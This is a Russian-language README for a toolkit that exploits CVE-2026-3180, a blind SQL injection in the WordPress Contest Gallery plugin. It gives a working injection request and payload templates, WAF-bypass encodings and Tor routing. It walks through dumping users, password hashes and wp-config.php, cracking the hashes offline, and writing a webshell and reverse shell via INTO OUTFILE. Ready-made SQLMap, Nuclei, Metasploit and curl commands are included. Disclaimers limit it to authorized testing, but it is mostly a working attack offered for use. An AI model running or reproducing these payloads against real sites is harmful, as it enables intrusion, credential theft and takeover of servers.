
Полный набор инструментов для эксплуатации CVE-2026-3180 - уязвимости SQL-инъекции в WordPress Contest Gallery. Включает автоматизированное извлечение данных, обход WAF, обратную оболочку, интеграцию с SQLMap, генерацию расширения Burp и формирование отчетов для тестирования на проникновение и исследований безопасности.
Инструмент оценки PoC для CVE-2026-3180
Автор: Sudeepa Wanigarathna · Первооткрыватель: cardosource
[!IMPORTANT] Только для авторизованного использования. Этот инструмент предназначен для исследований в области безопасности, обучения и тестирования систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен. Автор не несет ответственности за неправомерное использование.
CVE-2026-3180 — это высококритичная неаутентифицированная Blind SQL-инъекция в плагине WordPress Contest Gallery. Уязвимость находится в AJAX-обработчике post_cg1l_resend_unconfirmed_mail_frontend, где параметр cgl_mail передается в SQL-запрос без должной очистки.
Этот репозиторий предоставляет полнофункциональный PoC на Python (v2.0) для авторизованных специалистов по безопасности, позволяющий проверить степень воздействия, извлечь данные WordPress, сгенерировать отчеты и интегрироваться с отраслевыми инструментами (SQLMap, Burp Suite, Nuclei).
| Поле | Значение |
|---|
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded
action=post_cg1l_resend_unconfirmed_mail_frontend &cgl_mail=qualquer'OR/**/1=1#@teste.com &cgl_page_id=1 &cgl_activation_key= &cg_nonce=%20
### Ссылки
- [CVE-2026-3180](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3180)
- [Exploit-DB 52609](https://www.exploit-db.com/exploits/52609)
- [Original write-up (cardosource)](https://dev.to/22l31on/wordpress-contest-gallery-plugin-vulnerability-2ff6)
---
## Возможности
### Основные эксплуатационные возможности
| Возможность | Описание |
|---|---|
| Обнаружение уязвимости | Тесты булевых, временных, основанных на ошибках, UNION и стековых запросов |
| Слепое извлечение | Извлечение символов бинарным поиском через булеву инференцию |
| Полный дамп данных | Пользователи, метаданные БД, опции, плагины, темы, записи, таблицы |
| Интерактивная SQL-оболочка | Выполнение произвольных `SELECT` запросов к бэкенду |
| Извлечение wp-config.php | Попытки `LOAD_FILE()` по общим путям |
| Обратная оболочка | Запись PHP веб-шелла через `INTO OUTFILE` / `DUMPFILE` (если разрешено) |
### Обход защиты и производительность
| Возможность | Описание |
|---|---|
| Обход WAF | 15+ методов кодирования и обфускации |
| Многопоточность | Настраиваемое количество рабочих потоков для ускорения извлечения |
| Ограничение скорости | Настраиваемая задержка между запросами |
| Логика повторных попыток | Автоматические повторы при временных ошибках |
| Ротация User-Agent | Случайные отпечатки браузера для каждого запроса |
| Поддержка прокси | HTTP/SOCKS прокси и Tor (`socks5h://127.0.0.1:9050`) |
### Отчетность и интеграции
| Возможность | Описание |
|---|---|
| Генерация отчетов | Отчеты в форматах JSON и HTML с сводками извлечения |
| Интеграция с SQLMap | Автоматически генерируемая команда SQLMap с тамперами |
| Расширение Burp Suite | Генератор + автономный `burp_contest_gallery.py` |
| Шаблон Nuclei | YAML-шаблон для массового обнаружения |
| Модуль Metasploit | Вспомогательный модуль Ruby (`contest_gallery_sqli.rb`) |
| Автоматизация с помощью скриптов оболочки | Bash-скрипты для рабочих процессов на основе curl и SQLMap |
### Операционные возможности
| Возможность | Описание |
|---|---|
| Цветной вывод CLI | Структурированное логирование с уровнями серьезности |
| Отслеживание прогресса | Метрики в реальном времени (запросы, время, скорость извлечения) |
| Тихий / подробный режимы | Подходит для написания скриптов и отладки |
| Обработка сигналов | Корректная очистка при `Ctrl+C` |
| Готовность к Docker | Поддержка контейнерного развертывания |
| Готовность к CI/CD конвейеру | Коды завершения и вывод в JSON для автоматизации |
---
## Установка
### Предварительные требования
- Python **3.8+**
- `pip`
- Сетевая доступность до целевой(ых) системы(тем) под тестированием
### Дополнительные внешние инструменты
| Инструмент | Назначение |
|---|---|
| [SQLMap](https://github.com/sqlmapproject/sqlmap) | Автоматизированное SQL-инъекция |
| [Burp Suite](https://portswigger.net/burp) | Ручное тестирование и размещение расширений |
| [Nuclei](https://github.com/projectdiscovery/nuclei) | Сканирование на основе шаблонов |
| [Hashcat](https://hashcat.net/hashcat/) | Офлайн-взлом хэшей |
| [Tor](https://www.torproject.org/) | Анонимная маршрутизация (`--proxy tor`) |
### Настройка```bash
git clone https://github.com/CerberusMrXi/WP-Contest-Gallery-28.1.4-Exploit.git
cd WP-Contest-Gallery-28.1.4-Exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2026-3180.py --help
Обязательные (во время выполнения):```text requests>=2.31.0
**Рекомендуемые (from requirements.txt):**```text
colorama>=0.4.6
tqdm>=4.65.0
pyyaml>=6.0
python-dateutil>=2.8.2
urllib3>=2.0.0
Основной эксплойт использует только стандартную библиотеку Python и
requests. Дополнительные пакеты улучшают вывод и отчётность.
Замените
http://target.exampleтолько на лабораторную или авторизованную цель.
python3 cve-2026-3180.py http://target.example --scan
### Полная эксплуатация (обнаружение + извлечение)```bash
python3 cve-2026-3180.py http://target.example
python3 cve-2026-3180.py http://target.example --dump users
### Интерактивная SQL-оболочка```bash
python3 cve-2026-3180.py http://target.example --sql-shell
python3 cve-2026-3180.py http://target.example --report html -o assessment.html
### Через Burp proxy```bash
python3 cve-2026-3180.py http://target.example --proxy http://127.0.0.1:8080 -v
python3 cve-2026-3180.py http://target.example --scan
Запускает булевое, временное и основанное на ошибках обнаружение без полного извлечения.
### Полное извлечение данных```bash
python3 cve-2026-3180.py http://target.example --dump all
Извлекает информацию о базе данных, пользователях, настройках, плагинах, темах, записях, таблицах и системных метаданных.
python3 cve-2026-3180.py http://target.example --dump database python3 cve-2026-3180.py http://target.example --dump users python3 cve-2026-3180.py http://target.example --dump config python3 cve-2026-3180.py http://target.example --dump options python3 cve-2026-3180.py http://target.example --dump plugins python3 cve-2026-3180.py http://target.example --dump themes
### Интерактивная SQL-оболочка```bash
python3 cve-2026-3180.py http://target.example --sql-shell
INPUT:```text sql> SELECT DATABASE() wordpress
sql> show users [ { "username": "admin", "email": "[email protected]", "password_hash": "$P$B..." } ]
sql> show tables ["wp_users", "wp_posts", "wp_options", ...]
sql> exit
**Команды оболочки:**
| Команда | Описание |
|---|---|
| `SELECT ...` | Выполнить SQL-запрос и вывести результат |
| `show users` | Показать кэшированных извлеченных пользователей |
| `show tables` | Показать список кэшированных таблиц |
| `show database` | Показать кэшированные метаданные БД |
| `show config` | Показать wp-config.php, если он извлечен |
| `show options` | Показать параметры WordPress |
| `show plugins` | Показать активные плагины |
| `help` | Вывести список доступных команд |
| `exit` / `quit` | Выйти из оболочки |
### Генерация отчета```bash
# JSON report (default, saved to reports/)
python3 cve-2026-3180.py http://target.example --report json
# HTML report with custom filename
python3 cve-2026-3180.py http://target.example --report html -o reports/assessment.html
nc -lvnp 4444
python3 cve-2026-3180.py http://target.example --reverse-shell 10.0.0.5 4444
> Требует привилегию `FILE`, доступную для записи корневую веб-директорию и `secure_file_priv`, не блокирующий целевой путь.
### Генерация команд SQLMap```bash
python3 cve-2026-3180.py http://target.example --sqlmap
Или используйте встроенный скрипт автоматизации:```bash chmod +x sqlmap_automation.sh ./sqlmap_automation.sh http://target.example
### Расширение Burp Suite```bash
# Generate extension from exploit
python3 cve-2026-3180.py http://target.example --burp-extension
# Or load the standalone extension
# Burp → Extender → Extensions → Add → Python → burp_contest_gallery.py
python3 cve-2026-3180.py http://target.example --nuclei-template
nuclei -u http://target.example -t CVE-2026-3180.yaml
### Автоматизация на Bash (без Python)```bash
chmod +x cve-2026-3180_automated.sh
./cve-2026-3180_automated.sh http://target.example
python3 cve-2026-3180.py http://target.example --proxy tor
### Настройка производительности```bash
python3 cve-2026-3180.py http://target.example \
--threads 20 \
--timeout 15 \
--delay 0.1 \
--retries 5 \
-v
| Аргумент | Описание |
|---|---|
target | Базовый URL WordPress (например, http://target.example) |
| Аргумент | Описание |
|---|---|
--verbose, -v | Включить отладочное логирование |
--quiet | Подавить вывод в консоль |
--output, |
Инструмент автоматически тестирует и использует несколько стратегий инъекций:
PayloadManager перебирает 12+ шаблонов инъекций:```text
'OR//{condition}#@teste.com
'OR{condition}-- -
')OR{condition}#
'))OR{condition}#
'OR//{condition}OR//'1'='1'#
'UNION//SELECT{condition}#
...
### Алгоритм извлечения логических данных
1. Подтверждение уязвимости через сравнение длин true/false базовых строк
2. Бинарный поиск `LENGTH()` результата целевого запроса
3. Бинарный поиск `ASCII(SUBSTRING(...))` для каждой позиции символа
4. Сборка полной строки из извлеченных символов
---
## Обход WAF
Встроенные методы обфускации, применяемые случайным образом или по запросу:
| Техника | Описание |
|---|---|
| `comment_obfuscation` | Замена пробелов на `/**/`, `/*!*/`, `-- `, `#` |
| `case_variation` | Случайный регистр буквенных символов |
| `url_encoding` | Стандартное процентное кодирование |
| `double_url_encoding` | Вложенное процентное кодирование |
| `hex_encoding` | Шестнадцатеричное кодирование вида `%41` |
| `unicode_encoding` | Юникодное кодирование вида `%u0041` |
| `white_space_variation` | Табуляция, переводы строк, знаки перевода страницы вместо пробелов |
| `keyword_obfuscation` | Разбиение ключевых слов: `SEL/**/ECT`, `UNI/**/ION` |
| `concat_obfuscation` | Конкатенация через `CHAR()` с помощью `\|\|` |
| `char_obfuscation` | Сложение `CHAR()` через `+` |
Пример преобразованной полезной нагрузки:```text
qualquer'OR/**/1=1#@teste.com
→ qualquer'%2F**%2FOR%2F**%2F1%3D1%23%40teste.com
{ "username": "admin", "password_hash": "$P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", "email": "[email protected]", "roles": ["administrator"] }
### Взлом хэшей паролей (офлайн)
После извлечения взломайте хэши WordPress phpass с помощью Hashcat:```bash
# Save hashes to file
python3 cve-2026-3180.py http://target.example --dump users -o users.json
# Crack with Hashcat (mode 400 = phpass)
hashcat -m 400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
Сгенерированная команда (через --sqlmap):```bash
sqlmap -u "http://target.example/wp-admin/admin-ajax.php"
--data "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=test'&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20"
-p cgl_mail
--dbms=mysql
--level=3 --risk=2
--batch
--threads=5
--time-sec=5
--retries=3
--delay=0.05
--random-agent
--hex
--tamper=space2comment,randomcase,between,charencode
--dbs
### Burp Suite
1. Загрузите `burp_contest_gallery.py` в **Extender → Extensions → Add**
2. Откройте вкладку **CVE-2026-3180**
3. Введите целевой URL и нажмите **Exploit**
4. Пассивный сканер проверяет AJAX-запросы на наличие индикаторов Contest Gallery
### Nuclei```yaml
id: CVE-2026-3180
info:
name: WordPress Contest Gallery SQL Injection
severity: high
classification:
cve-id: CVE-2026-3180
cvss-score: 7.5
requests:
- method: POST
path: /wp-admin/admin-ajax.php
body: "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=test'&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20"
cp contest_gallery_sqli.rb ~/.msf4/modules/auxiliary/scanner/http/
msfconsole -q -x "use auxiliary/scanner/http/contest_gallery_sqli; set RHOSTS target.example; run"
---
## Цепочка атак```mermaid
flowchart TD
A["Unauthenticated POST to admin-ajax.php"] --> B["cgl_mail parameter unsanitized"]
B --> C{"Injection type?"}
C -->|Boolean| D["Response length inference"]
C -->|Time| E["SLEEP delay inference"]
C -->|Error| F["SQL error leakage"]
D --> G["Binary-search extraction"]
E --> G
F --> G
G --> H["WordPress data exfiltration"]
H --> I["Users / hashes / options / config"]
I --> J["Optional: OUTFILE webshell"]
post_cg1l_resend_unconfirmed_mail_frontend в плагине Contest Gallery.cgl_mail, добавляемое в SQL без параметризации.[] Target: http://target.example [] Checking vulnerability... [+] Target is VULNERABLE! (Boolean-based) [+] Response length difference: 42 chars [*] Extracting database information... [+] name: wordpress [+] version: 8.0.35 [+] Found 3 users [+] Exploitation complete!
### Структура JSON-отчета```json
{
"metadata": {
"cve": "CVE-2026-3180",
"cvss_score": "7.5 (High)",
"type": "boolean_based"
},
"target": {
"url": "http://target.example",
"ajax_url": "http://target.example/wp-admin/admin-ajax.php"
},
"vulnerability": {
"vulnerable": true,
"type": "boolean_based"
},
"extracted_data": {
"database": { "name": "wordpress", "version": "8.0.35" },
"users": [],
"tables": [],
"plugins": [],
"options": {}
},
"summary": {
"users_found": 3,
"tables_found": 12,
"plugins_found": 8,
"config_extracted": false
}
}
Отчёты сохраняются в reports/ по умолчанию.
FROM python:3.11-slim
WORKDIR /app COPY requirements.txt cve-2026-3180.py ./ RUN pip install --no-cache-dir -r requirements.txt
ENTRYPOINT ["python3", "cve-2026-3180.py"] CMD ["--help"]
<a href="https://camo.ink/6e03bf54688e0be0ef026443732f30e7ea377f9c" target="_blank" rel="nofollow noopener"></a>```bash
# Build
docker build -t cve-2026-3180 .
# Scan
docker run --rm cve-2026-3180 http://target.example --scan
# Full exploit with report volume
docker run --rm -v $(pwd)/reports:/app/reports cve-2026-3180 \
http://target.example --report json
Пример workflow GitHub Actions для авторизованного сканирования staging-среды:```yaml name: CVE-2026-3180 Staging Scan
on: workflow_dispatch: schedule: - cron: '0 2 * * 1'
jobs: scan: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.11'
- run: pip install -r requirements.txt
- name: Vulnerability scan
run: |
python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
--scan --quiet
continue-on-error: true
- name: Generate report
run: |
python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
--report json -o reports/staging.json
- uses: actions/upload-artifact@v4
with:
name: security-report
path: reports/
---
## Устранение неполадок
| Симптом | Что попробовать |
|---|---|
| Цель не уязвима | Убедитесь, что Contest Gallery ≤ 28.1.4 установлен и активен |
| Нет разницы в длине ответа | Попробуйте `--scan` для временного запасного варианта; увеличьте `--timeout` |
| Очень медленное извлечение | Увеличьте `--threads`; осторожно уменьшите `--delay` |
| Ошибки соединения | Увеличьте `--timeout` и `--retries`; проверьте настройки прокси |
| WAF блокирует запросы | Используйте `--proxy tor`; инструмент автоматически применяет методы обхода |
| Сбой Tor-прокси | Проверьте Tor на `127.0.0.1:9050`; установите `requests[socks]` при необходимости |
| Пустой дамп пользователей | Префикс таблиц может быть не `wp_`; используйте `--sql-shell` с пользовательскими запросами |
| wp-config не найден | Попробуйте `--sql-shell` с альтернативными путями `LOAD_FILE()` |
| Ошибка реверс-шелла | Проверьте привилегию `FILE`, `secure_file_priv`, права на webroot |
### Рабочий процесс отладки```bash
# Verbose scan
python3 cve-2026-3180.py http://target.example --scan -v
# Through Burp
python3 cve-2026-3180.py http://target.example \
--proxy http://127.0.0.1:8080 -v --scan
# Manual curl verification
curl -s -X POST "http://target.example/wp-admin/admin-ajax.php" \
-d "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=qualquer'OR/**/1=1#@teste.com&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20" \
-w "\nSize: %{size_download}\n"
exploit/ ├── cve-2026-3180.py # Main exploit tool (v2.0) ├── requirements.txt # Python dependencies ├── README.md # This file ├── burp_contest_gallery.py # Standalone Burp Suite extension ├── contest_gallery_sqli.rb # Metasploit auxiliary module ├── cve-2026-3180_automated.sh # Bash/curl automation script ├── sqlmap_automation.sh # SQLMap wrapper script ├── reports/ # Generated reports (created at runtime) ├── backups/ # Database backups (created at runtime) ├── payloads/ # Custom payload storage └── venv/ # Local virtualenv (optional, not committed)
---
## История версий
### v2.0.0 — Финальное издание (Январь 2026)
- Обнаружение boolean, time, error, union и stacked инъекций
- Полный конвейер извлечения данных WordPress
- Более 15 методов обхода WAF
- Интерактивная SQL-оболочка
- Генерация отчетов в JSON / HTML
- Интеграция с SQLMap, Burp и Nuclei
- Reverse shell через `INTO OUTFILE`
- Поддержка прокси и Tor
- Многопоточность с логикой повторных попыток
- Цветной вывод и структурированное логирование
### v1.0 — Первый релиз
- Базовое обнаружение на основе boolean
- Ручное извлечение пользователей
---
## Отказ от ответственности
Этот проект предоставляется **как есть** для **исследований в области оборонительной безопасности** и **авторизованного тестирования на проникновение**.
Используя данное программное обеспечение, вы соглашаетесь с тем, что:
1. Вы будете атаковать только системы, которыми владеете или на тестирование которых имеете явное разрешение.
2. Вы понимаете применимые законы о компьютерных злоупотреблениях и защите данных.
3. Автор и участники **не несут ответственности** за ущерб, потерю данных или юридические последствия в результате неправильного использования.
Если вы обнаружите эту уязвимость в рабочей среде, следуйте практике ответственного раскрытия и координируйте действия с вендором плагина / командой безопасности WordPress, где это уместно.
---
## Автор и благодарности
| Роль | Имя |
|---|---|
| **Автор инструмента** | Sudeepa Wanigarathna |
| **Первоначальное обнаружение** | cardosource |
| **CVE** | CVE-2026-3180 |
| **Лицензия** | MIT |
---
## Лицензия
MIT```
MIT License
Copyright (c) 2026 Sudeepa Wanigarathna
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
Только для авторизованного тестирования безопасности.
| Атрибут | Значение |
|---|
| CVE ID | CVE-2026-3180 |
| CVSS | 7.5 (Высокий) |
| Вектор атаки | Сеть — без аутентификации |
| Воздействие | Нарушение конфиденциальности, чтение базы данных, кража учетных данных |
| Затрагиваемый продукт | Плагин WordPress Contest Gallery |
| Затрагиваемые версии | 28.1.4 и ранее |
| Тип уязвимости | Blind SQL-инъекция |
| СУБД | MySQL / MariaDB |
| URL | /wp-admin/admin-ajax.php |
| Метод | POST |
| Действие | post_cg1l_resend_unconfirmed_mail_frontend |
| Уязвимый параметр | cgl_mail |
| Аргумент | По умолчанию | Описание |
|---|
--proxy | — | URL прокси или tor для SOCKS5 через Tor |
--timeout | 10 | Таймаут HTTP-запроса (секунды) |
--delay | 0.05 | Задержка между запросами (секунды) |
--retries | 3 | Количество повторных попыток при сбоях |
--threads, -t | 5 | Размер пула потоков |
-o| Пользовательский путь к выходному файлу |
| Аргумент | Описание |
|---|
| (default) | Полная эксплуатация: обнаружение → сканирование → извлечение всего |
--scan | Только обнаружение уязвимостей |
--sql-shell | Интерактивная SQL-оболочка |
--dump {users,config,database,options,plugins,themes,all} | Извлечение определённых данных |
--report {json,html} | Создать отчёт об оценке |
--reverse-shell LHOST LPORT | Попытка reverse shell через запись в файл |
--sqlmap | Вывести команду SQLMap |
--burp-extension | Создать расширение Burp Suite |
--nuclei-template | Создать шаблон Nuclei YAML |
| Тип | Метод обнаружения | Назначение |
|---|
| Boolean-based | Разница длины ответа (1=1 vs 1=2) | Основной механизм извлечения |
| Time-based | Вывод задержки SLEEP() | Резервный вариант, когда логические сигналы слабы |
| Error-based | EXTRACTVALUE() / строки ошибок SQL | Быстрое получение метаданных при утечке ошибок |
| Union-based | Полезные нагрузки UNION SELECT | Прямое извлечение значений (если применимо) |
| Stacked queries | Синтаксис '; ... # | Выполнение нескольких операторов (редко) |
| Цель | SQL-источник | Ключ вывода |
|---|
| Имя базы данных | SELECT DATABASE() | database.name |
| Версия БД | SELECT VERSION() | database.version |
| Пользователь БД | SELECT USER() | database.user |
| Таблицы | information_schema.TABLES | tables[] |
| Столбцы | information_schema.COLUMNS | columns{} |
| Пользователи WP | wp_users | users[] |
| Хеши паролей | wp_users.user_pass | users[].password_hash |
| Email-адреса | wp_users.user_email | users[].email |
| Роли | wp_usermeta capabilities | users[].roles |
| Настройки сайта | wp_options | options{} |
| Активные плагины | wp_options.active_plugins | plugins[] |
| Темы | template / stylesheet options | themes[] |
| Записи | wp_posts | posts[] |
| wp-config.php | LOAD_FILE('/var/www/html/wp-config.php') | config |
| Информация о системе | @@hostname, @@datadir, etc. | system_info{} |